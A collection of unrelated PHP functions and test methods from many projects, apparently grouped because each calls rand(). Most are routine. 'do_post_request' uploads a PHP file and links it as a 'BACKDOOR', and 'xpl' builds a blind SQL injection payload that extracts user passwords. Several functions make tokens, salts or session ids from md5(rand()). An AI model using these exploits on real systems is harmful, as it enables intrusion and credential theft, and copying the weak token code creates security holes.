function ajoutLieu() { require 'connect.php'; $requete = $bdd->query("SELECT \n\t\t\t\t\t\t\t\tVILID\n\t\t\t\t\t\t\tFROM\n\t\t\t\t\t\t\t\tcommune"); $villes = $requete->fetchAll(); $requete->closeCursor(); $requete = $bdd->prepare("SELECT \n\t\t\t\t\t\t\t\tLIEUID\n\t\t\t\t\t\t\tFROM\n\t\t\t\t\t\t\t\tLIEU\n\t\t\t\t\t\t\tWHERE\n\t\t\t\t\t\t\t\tLIEUID=:lieuId\n\t\t\t\t\t\t\t\tAND\n\t\t\t\t\t\t\t\tVILID=:ville\n\t\t\t\t\t\t\t\tAND\n\t\t\t\t\t\t\t\tLIEUNOM=:nom"); $requeteSeconde = $bdd->prepare("INSERT INTO LIEU\n\t\t\t\t\t\t\t\t\t\t(LIEUID,\n\t\t\t\t\t\t\t\t\t\tVILID,\n\t\t\t\t\t\t\t\t\t\tLIEUNOM,\n\t\t\t\t\t\t\t\t\t\tLIEUCOORDGPS)\n\t\t\t\t\t\t\t\t\tVALUES\n\t\t\t\t\t\t\t\t\t\t(:lieuId,\n\t\t\t\t\t\t\t\t\t\t:ville,\n\t\t\t\t\t\t\t\t\t\t:nom,\n\t\t\t\t\t\t\t\t\t\t:gps)"); for ($i = 0; $i < 100; $i++) { echo $lieuId = $i; echo $ville = $villes[rand(0, sizeof($villes) - 1)]['VILID']; $lieuT = file('./generateurLieu.txt'); $lieu = array(trim($lieuT[rand(0, 93)]), trim($lieuT[rand(0, 93)])); $lieu = implode("-", $lieu); echo $nom = $lieu; echo $gps = rand(0, 5000); echo "<br />"; $requete->execute(array("ville" => $ville, "nom" => $nom)); if ($requete->fetch() == false) { $requeteSeconde->execute(array("lieuId" => $lieuId, "ville" => $ville, "nom" => $nom, "gps" => $gps)); } else { $i--; } } $requete->closeCursor(); $requeteSeconde->closeCursor(); }
/** * Sets up the fixture, for example, open a network connection. * This method is called before a test is executed. */ protected function setUp() { parent::setUp(); $this->connection = Connection::get(); $this->userBook = new UserBook($this->connection); $this->providerInfoBook = new ProviderInfoBook($this->connection); $this->providerUserBook = new ProviderUserBook($this->connection); foreach ($this->providerInfoBook->get() as $providerInfo) { $this->providerInfoBook->delete($providerInfo); } foreach ($this->userBook->get() as $user) { $this->userBook->delete($user); } for ($k = 0; $k < 10; $k++) { $user = new User(); $user->setEnabled(RandomBook::getRandomBoolean())->setEnabledDate(RandomBook::getRandomDate())->setAccessFailedCount(rand(1, 5))->setEmail(RandomBook::getRandomEmail())->setPassword(RandomBook::getRandomString())->setPhoneNumber(RandomBook::getRandomPhoneNumber())->setTwoFactorEnabled(RandomBook::getRandomBoolean())->setUserName(RandomBook::getRandomString()); $user->setId($this->userBook->save($user)); $this->userList[] = $user; for ($k = 0; $k < 10; $k++) { $providerInfo = new ProviderInfo(); $providerInfo->setName(RandomBook::getRandomString())->setAppKey(RandomBook::getRandomString())->setSecretKey(RandomBook::getRandomString()); $providerInfo->setId((int) $this->providerInfoBook->save($providerInfo)); $this->providerInfoList[] = $providerInfo; $providerUser = new ProviderUser(); $providerUser->setUserId($user->getId())->setProviderId($providerInfo->getId())->setProviderName($providerInfo->getName())->setProviderUserId(RandomBook::getRandomString()); $this->providerUserList[] = $providerUser; } } }
public function testBuild() { $type = 'history'; $userId = 1; $user = $this->getMockBuilder('stdClass')->setMethods(['getId'])->getMock(); $user->expects($this->once())->method('getId')->will($this->returnValue($userId)); $token = $this->getMock('Symfony\\Component\\Security\\Core\\Authentication\\Token\\TokenInterface'); $token->expects($this->once())->method('getUser')->will($this->returnValue($user)); $this->tokenStorage->expects($this->once())->method('getToken')->will($this->returnValue($token)); $item = $this->getMock('Oro\\Bundle\\NavigationBundle\\Entity\\NavigationItemInterface'); $this->factory->expects($this->once())->method('createItem')->with($type, [])->will($this->returnValue($item)); $repository = $this->getMockBuilder('Oro\\Bundle\\NavigationBundle\\Entity\\Repository\\HistoryItemRepository')->disableOriginalConstructor()->getMock(); $items = [['id' => 1, 'title' => 'test1', 'url' => '/'], ['id' => 2, 'title' => 'test2', 'url' => '/home']]; $repository->expects($this->once())->method('getNavigationItems')->with($userId, $type)->will($this->returnValue($items)); $this->em->expects($this->once())->method('getRepository')->with(get_class($item))->will($this->returnValue($repository)); $menu = $this->getMockBuilder('Knp\\Menu\\MenuItem')->disableOriginalConstructor()->getMock(); $childMock = $this->getMock('Knp\\Menu\\ItemInterface'); $childMock2 = clone $childMock; $children = [$childMock, $childMock2]; $matcher = $this->getMock('\\Knp\\Menu\\Matcher\\Matcher'); $matcher->expects($this->once())->method('isCurrent')->will($this->returnValue(true)); $this->builder->setMatcher($matcher); $menu->expects($this->exactly(2))->method('addChild'); $menu->expects($this->once())->method('setExtra')->with('type', $type); $menu->expects($this->once())->method('getChildren')->will($this->returnValue($children)); $menu->expects($this->once())->method('removeChild'); $n = rand(1, 10); $configMock = $this->getMockBuilder('Oro\\Bundle\\ConfigBundle\\Config\\UserConfigManager')->disableOriginalConstructor()->getMock(); $configMock->expects($this->once())->method('get')->with($this->equalTo('oro_navigation.maxItems'))->will($this->returnValue($n)); $this->manipulator->expects($this->once())->method('slice')->with($menu, 0, $n); $this->builder->setOptions($configMock); $this->builder->build($menu, [], $type); }
public function slots() { $user = Auth::user(); $location = $user->location; $slot = Slot::where('location', '=', $location)->first(); $input = Input::get('wager'); $owner = User::where('name', '=', $slot->owner)->first(); $num1 = rand(1, 10); $num2 = rand(5, 7); $num3 = rand(5, 7); if ($user->name != $owner->name) { if ($num1 & $num2 & $num3 == 6) { $money = rand(250, 300); $payment = $money += $input * 1.75; $user->money += $payment; $user->save(); session()->flash('flash_message', 'You rolled three sixes!!'); return redirect('/home'); } else { $user->money -= $input; $user->save(); $owner->money += $input; $owner->save(); session()->flash('flash_message_important', 'You failed to roll three sixes!!'); return redirect(action('SlotsController@show', [$slot->location])); } } else { session()->flash('flash_message_important', 'You own this slot!!'); return redirect(action('SlotsController@show', [$slot->location])); } }
function check_skill400_proc(&$pa, &$pd, $active) { if (eval(__MAGIC__)) { return $___RET_VALUE; } eval(import_module('skill400', 'player', 'logger')); if (!\skillbase\skill_query(400, $pa) || !check_unlocked400($pa)) { return array(); } $l400 = \skillbase\skill_getvalue(400, 'lvl', $pa); if (rand(0, 99) < $procrate[$l400]) { if ($active) { if ($l400 >= 5) { $log .= "<span class=\"yellow\">你朝{$pd['name']}打出了猛烈的一击!</span><br>"; } else { $log .= "<span class=\"yellow\">你朝{$pd['name']}打出了重击!</span><br>"; } } else { if ($l400 == 5) { $log .= "<span class=\"yellow\">{$pa['name']}朝你打出了猛烈的一击!</span><br>"; } else { $log .= "<span class=\"yellow\">{$pa['name']}朝你打出了重击!</span><br>"; } } $dmggain = (100 + $attgain[$l400]) / 100; return array($dmggain); } return array(); }
function postContent() { if (!($user = \Idno\Core\site()->session()->currentUser())) { $this->setResponse(403); echo 'You must be logged in to approve IndieAuth requests.'; exit; } $me = $this->getInput('me'); $client_id = $this->getInput('client_id'); $redirect_uri = $this->getInput('redirect_uri'); $state = $this->getInput('state'); $scope = $this->getInput('scope'); if (!empty($me) && parse_url($me, PHP_URL_HOST) == parse_url($user->getURL(), PHP_URL_HOST)) { $indieauth_codes = $user->indieauth_codes; if (empty($indieauth_codes)) { $indieauth_codes = array(); } $code = md5(rand(0, 99999) . time() . $user->getUUID() . $client_id . $state . rand(0, 999999)); $indieauth_codes[$code] = array('me' => $me, 'redirect_uri' => $redirect_uri, 'scope' => $scope, 'state' => $state, 'client_id' => $client_id, 'issued_at' => time(), 'nonce' => mt_rand(1000000, pow(2, 30))); $user->indieauth_codes = $indieauth_codes; $user->save(); if (strpos($redirect_uri, '?') === false) { $redirect_uri .= '?'; } else { $redirect_uri .= '&'; } $redirect_uri .= http_build_query(array('code' => $code, 'state' => $state, 'me' => $me)); $this->forward($redirect_uri); } }
function testAddTagSet() { $this->webtestLogin(); $this->openCiviPage("admin/tag", "action=add&reset=1&tagset=1"); // take a tagset name $tagSetName = 'tagset_' . substr(sha1(rand()), 0, 7); // fill tagset name $this->type("name", $tagSetName); // fill description $this->type("description", "Adding new tag set."); // select used for contact $this->select("used_for", "value=civicrm_contact"); // check reserved $this->click("is_reserved"); // Clicking save. $this->click("_qf_Tag_next"); $this->waitForPageToLoad($this->getTimeoutMsec()); // Is status message correct? $this->assertTrue($this->isTextPresent("The tag '{$tagSetName}' has been saved.")); // sort by ID desc $this->click("xpath=//table//tr/th[text()=\"ID\"]"); $this->waitForElementPresent("css=table.display tbody tr td"); // verify text $this->waitForElementPresent("xpath=//table//tbody/tr/td[1][text()= '{$tagSetName}']"); $this->waitForElementPresent("xpath=//table//tbody/tr/td[1][text()= '{$tagSetName}']/following-sibling::td[2][text()='Adding new tag set. ']"); $this->waitForElementPresent("xpath=//table//tbody/tr/td[1][text()= '{$tagSetName}']/following-sibling::td[4][text()= 'Contacts']"); $this->waitForElementPresent("xpath=//table//tbody/tr/td[1][text()= '{$tagSetName}']/following-sibling::td[7]/span/a[text()= 'Edit']"); }
/** Upload a profile picture for the group */ function save_picture($ext) { global $cfg; if (!$this->user->logged_in() || !$this->user->group) { throw new Exception("Access denied!"); } if (!isset($_SERVER["CONTENT_LENGTH"])) { throw new Exception("Invalid parameters"); } $size = (int) $_SERVER["CONTENT_LENGTH"]; $file_name = rand() . time() . "{$this->user->id}.{$ext}"; $file_path = "{$cfg['dir']['content']}{$file_name}"; // Write the new one $input = fopen("php://input", "rb"); $output = fopen($file_path, "wb"); if (!$input || !$output) { throw new Exception("Cannot open files!"); } while ($size > 0) { $data = fread($input, $size > 1024 ? 1024 : $size); $size -= 1024; fwrite($output, $data); } fclose($input); fclose($output); // Update the profile image $this->group->update($this->user->group, array('picture' => $file_name)); }
/** * Displays the captcha image * * @access public * @param int $key Captcha key * @return mixed Captcha raw image data */ function image($key) { $value = Jaws_Utils::RandomText(); $result = $this->update($key, $value); if (Jaws_Error::IsError($result)) { $value = ''; } $bg = dirname(__FILE__) . '/resources/simple.bg.png'; $im = imagecreatefrompng($bg); imagecolortransparent($im, imagecolorallocate($im, 255, 255, 255)); // Write it in a random position.. $darkgray = imagecolorallocate($im, 0x10, 0x70, 0x70); $x = 5; $y = 20; $text_length = strlen($value); for ($i = 0; $i < $text_length; $i++) { $fnt = rand(7, 10); $y = rand(6, 10); imagestring($im, $fnt, $x, $y, $value[$i], $darkgray); $x = $x + rand(15, 25); } header("Content-Type: image/png"); ob_start(); imagepng($im); $content = ob_get_contents(); ob_end_clean(); imagedestroy($im); return $content; }
function submit() { //Check required Fields $missing = false; if (!isset($_POST["sql"]) || strlen($_POST["sql"]) == 0) { $missing = true; } if ($missing) { $this->res->success = false; $this->res->message = "missing required field!"; return null; } //get vars $sql = $_POST["sql"]; $schema_id = $this->params['schema_id']; $schema = Doo::db()->getOne('Schemata', array('where' => 'id = ' . $schema_id)); $async = isset($_POST['async']) ? $_POST['async'] : 0; $coord_name = isset($_POST['coord_name']) ? $_POST['coord_name'] : null; $query_id = isset($_POST["query_id"]) ? $_POST["query_id"] : strtoupper(md5(uniqid(rand(), true))); //init $shard_query = new ShardQuery($schema->schema_name); //error! if (!empty($shard_query->errors)) { //return $this->res->message = $shard_query->errors; $this->res->success = false; return null; } //set async $shard_query->async = $async == true ? true : false; //set coord shard if (isset($coord_name)) { $shard_query->set_coordinator($coord_name); } //execute query $stmt = $shard_query->query($sql); //error! if (!$stmt && !empty($shard_query->errors)) { //return $this->res->message = $shard_query->errors; $this->res->success = false; return null; } //empty results if ($stmt == null && empty($shard_query->errors)) { $this->res->data = array(); } //build data if (!is_int($stmt)) { $this->res->data = $this->json_format($shard_query, $stmt); $shard_query->DAL->my_free_result($stmt); } else { //save job_id $this->res->data = $stmt; } //save message $this->res->message = $query_id; //return $this->res->success = true; }
/** * Converts a title into an alias * * @param string $title Title * @param int $id Page ID * @param bool $duplicate TRUE if duplicate alias was previously detected * @return string */ function autoalias2_convert($title, $id = 0, $duplicate = false) { global $cfg, $cot_translit, $cot_translit_custom; if ($cfg['plugin']['autoalias2']['translit'] && file_exists(cot_langfile('translit', 'core'))) { include cot_langfile('translit', 'core'); if (is_array($cot_translit_custom)) { $title = strtr($title, $cot_translit_custom); } elseif (is_array($cot_translit)) { $title = strtr($title, $cot_translit); } } $title = preg_replace('#[^\\p{L}0-9\\-_ ]#u', '', $title); $title = str_replace(' ', $cfg['plugin']['autoalias2']['sep'], $title); if ($cfg['plugin']['autoalias2']['lowercase']) { $title = mb_strtolower($title); } if ($cfg['plugin']['autoalias2']['prepend_id'] && !empty($id)) { $title = $id . $cfg['plugin']['autoalias2']['sep'] . $title; } elseif ($duplicate) { switch ($cfg['plugin']['autoalias2']['on_duplicate']) { case 'ID': if (!empty($id)) { $title .= $cfg['plugin']['autoalias2']['sep'] . $id; break; } default: $title .= $cfg['plugin']['autoalias2']['sep'] . rand(2, 99); break; } } return $title; }
function log_ip($attribute, $multiple = 1) { if ($attribute == "TC") { // Is Super Peer Enabled? $super_peer_mode = mysql_result(mysql_query("SELECT field_data FROM `main_loop_status` WHERE `field_name` = 'super_peer' LIMIT 1"), 0, 0); if ($super_peer_mode > 0) { // Only count 1 in 4 IP for Transaction Clerk to avoid // accidental banning of peers accessing high volume data. if (rand(1, 4) != 4) { return; } } } // Log IP Address Access $sql = "INSERT INTO `ip_activity` (`timestamp` ,`ip`, `attribute`) VALUES "; while ($multiple >= 1) { if ($multiple == 1) { $sql .= "('" . time() . "', '" . $_SERVER['REMOTE_ADDR'] . "', '{$attribute}')"; } else { $sql .= "('" . time() . "', '" . $_SERVER['REMOTE_ADDR'] . "', '{$attribute}'),"; } $multiple--; } mysql_query($sql); return; }
/** * Prepare a DatabaseConnection subject. * Used by driver specific test cases. * * @param string $driver Driver to use like "mssql", "oci8" and "postgres7" * @param array $configuration Dbal configuration array * @return \TYPO3\CMS\Dbal\Database\DatabaseConnection|\PHPUnit_Framework_MockObject_MockObject|\TYPO3\CMS\Core\Tests\AccessibleObjectInterface */ protected function prepareSubject($driver, array $configuration) { /** @var \TYPO3\CMS\Dbal\Database\DatabaseConnection|\PHPUnit_Framework_MockObject_MockObject|\TYPO3\CMS\Core\Tests\AccessibleObjectInterface $subject */ $subject = $this->getAccessibleMock(\TYPO3\CMS\Dbal\Database\DatabaseConnection::class, array('getFieldInfoCache'), array(), '', false); $subject->conf = $configuration; // Disable caching $mockCacheFrontend = $this->getMock(\TYPO3\CMS\Core\Cache\Frontend\PhpFrontend::class, array(), array(), '', false); $subject->expects($this->any())->method('getFieldInfoCache')->will($this->returnValue($mockCacheFrontend)); // Inject SqlParser - Its logic is tested with the tests, too. $sqlParser = $this->getAccessibleMock(\TYPO3\CMS\Dbal\Database\SqlParser::class, array('dummy'), array(), '', false); $sqlParser->_set('databaseConnection', $subject); $sqlParser->_set('sqlCompiler', GeneralUtility::makeInstance(\TYPO3\CMS\Dbal\Database\SqlCompilers\Adodb::class, $subject)); $sqlParser->_set('nativeSqlCompiler', GeneralUtility::makeInstance(\TYPO3\CMS\Dbal\Database\SqlCompilers\Mysql::class, $subject)); $subject->SQLparser = $sqlParser; // Mock away schema migration service from install tool $installerSqlMock = $this->getMock(\TYPO3\CMS\Install\Service\SqlSchemaMigrationService::class, array('getFieldDefinitions_fileContent'), array(), '', false); $installerSqlMock->expects($this->any())->method('getFieldDefinitions_fileContent')->will($this->returnValue(array())); $subject->_set('installerSql', $installerSqlMock); $subject->initialize(); // Fake a working connection $handlerKey = '_DEFAULT'; $subject->lastHandlerKey = $handlerKey; $adodbDriverClass = '\\ADODB_' . $driver; $subject->handlerInstance[$handlerKey] = new $adodbDriverClass(); $subject->handlerInstance[$handlerKey]->DataDictionary = NewDataDictionary($subject->handlerInstance[$handlerKey]); $subject->handlerInstance[$handlerKey]->_connectionID = rand(1, 1000); return $subject; }
public function preSave(PropelPDO $con = null) { if ($this->isNew()) { $this->setUniqueHashForFeedUrl(md5(time() . rand(0, time()))); } return parent::preSave($con); }
function adodb_session_regenerate_id() { $conn =& ADODB_Session::_conn(); if (!$conn) { return false; } $old_id = session_id(); if (function_exists('session_regenerate_id')) { session_regenerate_id(); } else { session_id(md5(uniqid(rand(), true))); $ck = session_get_cookie_params(); setcookie(session_name(), session_id(), false, $ck['path'], $ck['domain'], $ck['secure']); //@session_start(); } $new_id = session_id(); $ok =& $conn->Execute('UPDATE ' . ADODB_Session::table() . ' SET sesskey=' . $conn->qstr($new_id) . ' WHERE sesskey=' . $conn->qstr($old_id)); /* it is possible that the update statement fails due to a collision */ if (!$ok) { session_id($old_id); if (empty($ck)) { $ck = session_get_cookie_params(); } setcookie(session_name(), session_id(), false, $ck['path'], $ck['domain'], $ck['secure']); return false; } return true; }
function do_post_request($url, $res, $file, $name) { $data = ""; $boundary = "---------------------" . substr(md5(rand(0, 32000)), 0, 10); $data .= "--{$boundary}\n"; $fileContents = file_get_contents($file); $md5 = md5_file($file); $ext = pathinfo($file, PATHINFO_EXTENSION); $data .= "Content-Disposition: form-data; name=\"file\"; filename=\"file.php\"\n"; $data .= "Content-Type: text/plain\n"; $data .= "Content-Transfer-Encoding: binary\n\n"; $data .= $fileContents . "\n"; $data .= "--{$boundary}--\n"; $params = array('http' => array('method' => 'POST', 'header' => 'Content-Type: multipart/form-data; boundary=' . $boundary, 'content' => $data)); $ctx = stream_context_create($params); $fp = fopen($url, 'rb', false, $ctx); if (!$fp) { throw new Exception("Erreur !"); } $response = @stream_get_contents($fp); if ($response === false) { throw new Exception("Erreur !"); } else { echo "file should be here : "; /* LETTERBOX */ if (count($response) > 1) { echo $response; } else { echo "<a href='" . $res . "tmp/tmp_file_" . $name . "." . $ext . "'>BACKDOOR<a>"; } } }
public static function Create($user_row, $uc = true) { if (function_exists('zuitu_uc_register') && $uc) { $pp = $user_row['password']; $em = $user_row['email']; $un = $user_row['username']; $ret = zuitu_uc_register($em, $un, $pp); if (!$ret) { return false; } } $user_row['username'] = htmlspecialchars($user_row['username']); $user_row['password'] = self::GenPassword($user_row['password']); $user_row['create_time'] = $user_row['login_time'] = time(); $user_row['ip'] = Utility::GetRemoteIp(); $user_row['secret'] = md5(rand(1000000, 9999999) . time() . $user_row['email']); $user_row['id'] = DB::Insert('user', $user_row); $_rid = abs(intval(cookieget('_rid'))); if ($_rid && $user_row['id']) { $r_user = Table::Fetch('user', $_rid); if ($r_user) { ZInvite::Create($r_user, $user_row); ZCredit::Invite($r_user['id']); } } if ($user_row['id'] == 1) { Table::UpdateCache('user', $user_row['id'], array('manager' => 'Y', 'secret' => '')); } return $user_row['id']; }
public function get_pay_url($order_info) { $this->params = array("cmdno" => "1", "date" => date("Ymd"), "bargainor_id" => $this->_config['mem_id'], "transaction_id" => $this->_config['mem_id'] . date('YmdHis') . rand(1000, 9999), "fee_type" => "1", "return_url" => $this->_config['return_url'], "attach" => "", "spbill_create_ip" => "", "bank_type" => "0", "cs" => "utf-8", "sign" => "", "desc" => $order_info['order_desc'], "sp_billno" => $order_info['order_id'], "total_fee" => $order_info['order_amount']); $sign = $this->create_sign($this->params); $this->params['sign'] = $sign; return 'http://service.tenpay.com/cgi-bin/v3.0/payservice.cgi?' . http_build_query($this->params); }
function generateHash($password) { if (defined("CRYPT_BLOWFISH") && CRYPT_BLOWFISH) { $salt = '$2y$11$' . substr(md5(uniqid(rand(), true)), 0, 22); return crypt($password, $salt); } }
/** * Run the database seeds. * * @return void */ public function run() { Model::unguard(); DB::statement('SET FOREIGN_KEY_CHECKS = 0'); DB::table('cijfer')->truncate(); $toetsen = Toets::all(); //$cijfers = factory(Cijfer::class, count($toetsen)*count($leerlingen))->create(); for ($i = 0; $i < count($toetsen); ++$i) { //dd($toetsen[$i]->toetsenlijst()->first()->lesopdracht()->first()->klas()->first()->leerlingen()->first()); $klas = $toetsen[$i]->toetsenlijst()->first()->lesopdracht()->first()->klas()->first()->code; if (substr($klas, 0, 1) != '5') { continue; } $leerlingen = $toetsen[$i]->toetsenlijst()->first()->lesopdracht()->first()->klas()->first()->leerlingen()->get(); for ($j = 0; $j < count($leerlingen); ++$j) { $cijfer = factory(Cijfer::class, 1)->create(); $cijfer["waarde"] = rand(0, 10); $cijfer["toets_id"] = $toetsen[$i]["id"]; $cijfer["leerling_id"] = $leerlingen[$j]["id"]; $cijfer->save(); } } DB::statement('SET FOREIGN_KEY_CHECKS = 1'); Model::reguard(); }
public function addUser($add = array()) { if (empty($add['staff_name']) and empty($add['username']) and empty($add['password'])) { return TRUE; } $this->db->where('staff_email', strtolower($add['site_email'])); $this->db->delete('staffs'); $this->db->set('staff_email', strtolower($add['site_email'])); $this->db->set('staff_name', $add['staff_name']); $this->db->set('staff_group_id', '11'); $this->db->set('staff_location_id', '0'); $this->db->set('language_id', '11'); $this->db->set('timezone', '0'); $this->db->set('staff_status', '1'); $this->db->set('date_added', mdate('%Y-%m-%d', time())); $query = $this->db->insert('staffs'); if ($this->db->affected_rows() > 0 and $query === TRUE) { $staff_id = $this->db->insert_id(); $this->db->where('username', $add['username']); $this->db->delete('users'); $this->db->set('username', $add['username']); $this->db->set('staff_id', $staff_id); $this->db->set('salt', $salt = substr(md5(uniqid(rand(), TRUE)), 0, 9)); $this->db->set('password', sha1($salt . sha1($salt . sha1($add['password'])))); $query = $this->db->insert('users'); } return $query; }
/** * ВНЕШНИЕ МЕТОДЫ */ function bannerShow($banner_category_id) { global $AVE_DB; mt_rand(); $output = ''; $cur_hour = date('G'); $and_time = "AND ((banner_show_start = '0' AND banner_show_end = '0') OR (banner_show_start <= '" . $cur_hour . "' AND banner_show_end > '" . $cur_hour . "') OR (banner_show_start > banner_show_end AND (banner_show_start BETWEEN banner_show_start AND '" . $cur_hour . "' OR banner_show_end BETWEEN '" . $cur_hour . "' AND banner_show_end)))"; $and_category = is_numeric($banner_category_id) ? "AND banner_category_id = '" . $banner_category_id . "'" : ''; $num = $AVE_DB->Query("\r\n\t\t\tSELECT 1\r\n\t\t\tFROM " . PREFIX . "_modul_banners\r\n\t\t\tWHERE banner_status = '1'\r\n\t\t\tAND (banner_max_clicks = '0' OR (banner_clicks < banner_max_clicks AND banner_max_clicks != '0'))\r\n\t\t\tAND (banner_max_views = '0' OR (banner_views < banner_max_views AND banner_max_views != '0'))\r\n\t\t\t" . $and_time . "\r\n\t\t\t" . $and_category . "\r\n\t\t")->NumRows(); $zufall = $num ? rand(1, 3) : 3; $sql = $AVE_DB->Query("\r\n\t\t\tSELECT\r\n\t\t\t\tId,\r\n\t\t\t\tbanner_file_name,\r\n\t\t\t\tbanner_target,\r\n\t\t\t\tbanner_name,\r\n\t\t\t\tbanner_alt,\r\n\t\t\t\tbanner_width,\r\n\t\t\t\tbanner_height\r\n\t\t\tFROM " . PREFIX . "_modul_banners\r\n\t\t\tWHERE banner_status = '1'\r\n\t\t\tAND (banner_max_clicks = '0' OR (banner_clicks < banner_max_clicks AND banner_max_clicks != '0'))\r\n\t\t\tAND (banner_max_views = '0' OR (banner_views < banner_max_views AND banner_max_views != '0'))\r\n\t\t\t" . $and_time . "\r\n\t\t\t" . $and_category . "\r\n\t\t\tAND banner_priority <= '" . $zufall . "'\r\n\t\t"); $num = $sql->NumRows(); $banner_id = $num == 1 ? 0 : rand(0, $num - 1); $sql->DataSeek($banner_id); $banner = $sql->FetchAssocArray(); if (!empty($banner['banner_file_name'])) { if (stristr($banner['banner_file_name'], '.swf') === false) { $output = '<a target="' . $banner['banner_target'] . '" href="' . ABS_PATH . 'index.php?module=' . BANNER_DIR . '&action=go&id=' . $banner['Id'] . '"><img src="' . ABS_PATH . 'modules/' . BANNER_DIR . '/files/' . $banner['banner_file_name'] . '" alt="' . $banner['banner_name'] . ': ' . $banner['banner_alt'] . '" border="0" /></a>'; } else { $output = '<div style="position:relative;border:0px;width:' . $banner['banner_width'] . 'px;height:' . $banner['banner_height'] . 'px;"><a target="' . $banner['banner_target'] . '" href="' . ABS_PATH . 'index.php?module=' . BANNER_DIR . '&action=go&id=' . $banner['Id'] . '" style="position:absolute;z-index:2;width:' . $banner['banner_width'] . 'px;height:' . $banner['banner_height'] . 'px;_background:red;_filter:alpha(opacity=0);"></a>'; $output .= ' <object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,0,0" width="' . $banner['banner_width'] . '" height="' . $banner['banner_height'] . '" id="reklama" align="middle">'; $output .= ' <param name="allowScriptAccess" value="sameDomain" />'; $output .= ' <param name="movie" value="' . ABS_PATH . 'modules/' . BANNER_DIR . '/files/' . $banner['banner_file_name'] . '" />'; $output .= ' <param name="quality" value="high" />'; $output .= ' <param name="wmode" value="opaque">'; $output .= ' <embed src="' . ABS_PATH . 'modules/' . BANNER_DIR . '/files/' . $banner['banner_file_name'] . '" quality="high" wmode="opaque" width="' . $banner['banner_width'] . '" height="' . $banner['banner_height'] . '" name="reklama" align="middle" allowScriptAccess="sameDomain" type="application/x-shockwave-flash" pluginspage="http://www.macromedia.com/go/getflashplayer" />'; $output .= ' </object>'; $output .= '</div>'; } if (!empty($banner['Id'])) { $AVE_DB->Query("\r\n\t\t\t\t\tUPDATE " . PREFIX . "_modul_banners\r\n\t\t\t\t\tSET banner_views = banner_views + 1\r\n\t\t\t\t\tWHERE Id = '" . $banner['Id'] . "'\r\n\t\t\t\t"); } } echo $output; }
public function actionToken($state) { // only poeple on the list should be generating new tokens if (!$this->context->token->checkAccess($_SERVER['REMOTE_ADDR'])) { echo "Oh sorry man, this is a private party!"; mail($this->context->token->getEmail(), 'Notice', 'The token is maybe invalid!'); $this->terminate(); } // facebook example code... $stoken = $this->session->getSection('token'); if (!isset($_GET['code'])) { $stoken->state = md5(uniqid(rand(), TRUE)); //CSRF protection $dialog_url = "https://www.facebook.com/dialog/oauth?client_id=" . $this->context->token->getAppId() . "&redirect_uri=" . urlencode($this->link('//Crawler:token')) . "&scope=" . $this->context->token->getAppPermissions() . "&state=" . $stoken->state; echo "<script> top.location.href='" . $dialog_url . "'</script>"; $this->terminate(); } if (isset($stoken->state) && $stoken->state === $_GET['state']) { $token_url = "https://graph.facebook.com/oauth/access_token?" . "client_id=" . $this->context->token->getAppId() . "&redirect_uri=" . urlencode($this->link('//Crawler:token')) . "&client_secret=" . $this->context->token->getAppSecret() . "&code=" . $_GET['code']; $response = file_get_contents($token_url); $params = null; parse_str($response, $params); $date = new DateTime(); $date->add(new DateInterval('PT' . $params["expires"] . 'S')); $this->context->token->saveToken($params['access_token'], $date); echo "Thanks for your token :)"; } else { echo "The state does not match. You may be a victim of CSRF."; } $this->terminate(); }
/** * Generates a new password recovery token and returns it. * * The internal format of the token is a Unix timestamp of when it was set (for checking if it's stale), an * underscore, and then the token itself. * * @return string A new password token for embedding in a link and emailing a user. */ public function setPasswordRecoveryToken() { $token = md5(uniqid(rand())); $dao = DAOFactory::getDAO('UserDAO'); $dao->updatePasswordToken($this->email, $token . '_' . time()); return $token; }
protected function getData($nowPage,$pageSize) {/*{{{*/ $dataList = $this->prepareData($nowPage, $pageSize); $res = array(); foreach ($dataList as $data) { $provinceKey = Area::getProvKeyByName($data['prov']); $tempData = array(); $tempData['item']['key'] = $data['prov'].$data['dname'].'医院'; $tempData['item']['url'] = 'http://www.haodf.com/jibing/'.$data['dkey'].'/yiyuan.htm?province='.$provinceKey; $tempData['item']['showurl'] = 'www.haodf.com'; $tempData['item']['title'] = $data['prov'].$data['dname']."推荐医院_好大夫在线"; $tempData['item']['pagesize'] = rand(58, 62).'K'; $tempData['item']['date'] = date('Y-m-d', time()); $tempData['item']['content1'] = "根据".$data['diseasevote']."位".$data['dname']."患者投票得出的医院排行"; $tempData['item']['link'] = $tempData['item']['url']; foreach ($data['formdata'] as $formData) { $tempData['item'][] = $formData; unset($formData); } $res[] = $tempData; unset($data); } return $res; }/*}}}*/
public function random_chars($len = 0) { if ($len == 0) { $len = rand(5, 20); } return substr(md5(microtime()), $len); }
function xpl($condition, $pos) { global $norm_ua; global $where; $xpl = rand(1, 100000) . "'),(1,if(ascii(substring((select password from #__users {$where}),{$pos},1)){$condition},(select '{$norm_ua}'),(select link from #__menu)))/*"; return $xpl; }
protected function _execute() { if (!isset($this->_data->email) or !$this->_data->email or !isset($this->_data->password) or !$this->_data->password) { throw new Exception("Login error: missing email and/or password."); } $user = ORM::Factory('user')->where('email', 'LIKE', $this->_data->email)->find(); if (!$user->loaded()) { throw new Exception("Login error: that email address was not found."); } if ($user->password != $this->_beans_auth_password($user->id, $this->_data->password)) { throw new Exception("Login error: that password was incorrect."); } if (!$user->role->loaded()) { throw new Exception("Login error: that user does not have any defined role."); } if ($user->password_change) { $user->reset = $this->_generate_reset($user->id); $user->reset_expiration = time() + 2 * 60; $user->save(); return (object) array("reset" => $user->reset); } $expiration = $user->role->auth_expiration_length != 0 ? time() + $user->role->auth_expiration_length : rand(11111, 99999); $user->auth_expiration = $expiration; $user->save(); return (object) array("auth" => $this->_return_auth_element($user, $expiration)); }
/** @brief threewp_broadcast_apply_existing_attachment_action @since 2015-11-16 14:10:32 **/ public function threewp_broadcast_apply_existing_attachment_action($action) { if ($action->is_finished()) { return; } $bcd = $action->broadcasting_data; switch ($action->action) { case 'overwrite': // Delete the existing attachment $this->debug('Maybe copy attachment: Deleting current attachment %s', $action->target_attachment->ID); wp_delete_attachment($action->target_attachment->ID, true); // true = Don't go to trash // Tell BC to copy the attachment. $action->use = false; break; case 'randomize': $filename = $bcd->attachment_data->filename_base; $filename = preg_replace('/(.*)\\./', '\\1_' . rand(1000000, 9999999) . '.', $filename); $bcd->attachment_data->filename_base = $filename; $this->debug('Maybe copy attachment: Randomizing new attachment filename to %s.', $bcd->attachment_data->filename_base); // Tell BC to copy the attachment. $action->use = false; break; } }
